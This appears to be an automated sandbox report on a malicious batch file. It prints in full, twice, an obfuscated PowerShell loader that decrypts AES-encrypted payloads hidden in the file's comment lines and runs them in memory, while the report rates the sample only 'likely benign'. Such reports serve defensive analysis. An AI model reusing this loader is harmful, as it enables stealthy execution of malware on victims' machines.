Malware Analysis Report

2025-04-14 04:45

Sample ID 240612-1zty4awcrk
Target JC_FUCKER.bat
SHA256 2f10b92e2eb2603d9a175de8612e0a019de6120a08e9692fb257d6762fcb9d5b
Tags
execution
score
3/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
3/10

SHA256

2f10b92e2eb2603d9a175de8612e0a019de6120a08e9692fb257d6762fcb9d5b

Threat Level: Likely benign

The file JC_FUCKER.bat was found to be: Likely benign.

Malicious Activity Summary

execution

Command and Scripting Interpreter: PowerShell

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-12 22:05

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-12 22:05

Reported

2024-06-12 22:07

Platform

win7-20240508-en

Max time kernel

44s

Max time network

19s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1936 wrote to memory of 1756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1936 wrote to memory of 1756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1936 wrote to memory of 1756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a5AmTdD8faRft+SqfDPSFc9Rvu/tk70svhnIX8ES+G4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xEm8WGDhNqD+yqx3I6F6VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YCDLx=New-Object System.IO.MemoryStream(,$param_var); $hdstP=New-Object System.IO.MemoryStream; $KDiDZ=New-Object System.IO.Compression.GZipStream($YCDLx, [IO.Compression.CompressionMode]::Decompress); $KDiDZ.CopyTo($hdstP); $KDiDZ.Dispose(); $YCDLx.Dispose(); $hdstP.Dispose(); $hdstP.ToArray();}function execute_function($param_var,$param2_var){ $lUoiF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MXsDF=$lUoiF.EntryPoint; $MXsDF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat';$TbpgT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat').Split([Environment]::NewLine);foreach ($WBZwa in $TbpgT) { if ($WBZwa.StartsWith(':: ')) { $WWajZ=$WBZwa.Substring(3); break; }}$payloads_var=[string[]]$WWajZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

N/A

Files

memory/1756-4-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp

memory/1756-5-0x000000001B790000-0x000000001BA72000-memory.dmp

memory/1756-6-0x00000000023A0000-0x00000000023A8000-memory.dmp

memory/1756-7-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

memory/1756-8-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

memory/1756-9-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

memory/1756-10-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

memory/1756-12-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

memory/1756-11-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-12 22:05

Reported

2024-06-12 22:08

Platform

win10v2004-20240508-en

Max time kernel

51s

Max time network

54s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2972 wrote to memory of 2448 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 2448 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a5AmTdD8faRft+SqfDPSFc9Rvu/tk70svhnIX8ES+G4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xEm8WGDhNqD+yqx3I6F6VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YCDLx=New-Object System.IO.MemoryStream(,$param_var); $hdstP=New-Object System.IO.MemoryStream; $KDiDZ=New-Object System.IO.Compression.GZipStream($YCDLx, [IO.Compression.CompressionMode]::Decompress); $KDiDZ.CopyTo($hdstP); $KDiDZ.Dispose(); $YCDLx.Dispose(); $hdstP.Dispose(); $hdstP.ToArray();}function execute_function($param_var,$param2_var){ $lUoiF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MXsDF=$lUoiF.EntryPoint; $MXsDF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat';$TbpgT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat').Split([Environment]::NewLine);foreach ($WBZwa in $TbpgT) { if ($WBZwa.StartsWith(':: ')) { $WWajZ=$WBZwa.Substring(3); break; }}$payloads_var=[string[]]$WWajZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp

Files

memory/2448-0-0x00007FFC0AB83000-0x00007FFC0AB85000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v1cnm3on.rnq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2448-10-0x000002075CD90000-0x000002075CDB2000-memory.dmp

memory/2448-11-0x00007FFC0AB80000-0x00007FFC0B641000-memory.dmp

memory/2448-12-0x00007FFC0AB80000-0x00007FFC0B641000-memory.dmp

memory/2448-13-0x0000020740DB0000-0x0000020740DB8000-memory.dmp

memory/2448-14-0x000002077D780000-0x000002077DE96000-memory.dmp

memory/2448-15-0x000002075D160000-0x000002075E160000-memory.dmp

memory/2448-16-0x00007FFC0AB80000-0x00007FFC0B641000-memory.dmp

memory/2448-19-0x00007FFC0AB80000-0x00007FFC0B641000-memory.dmp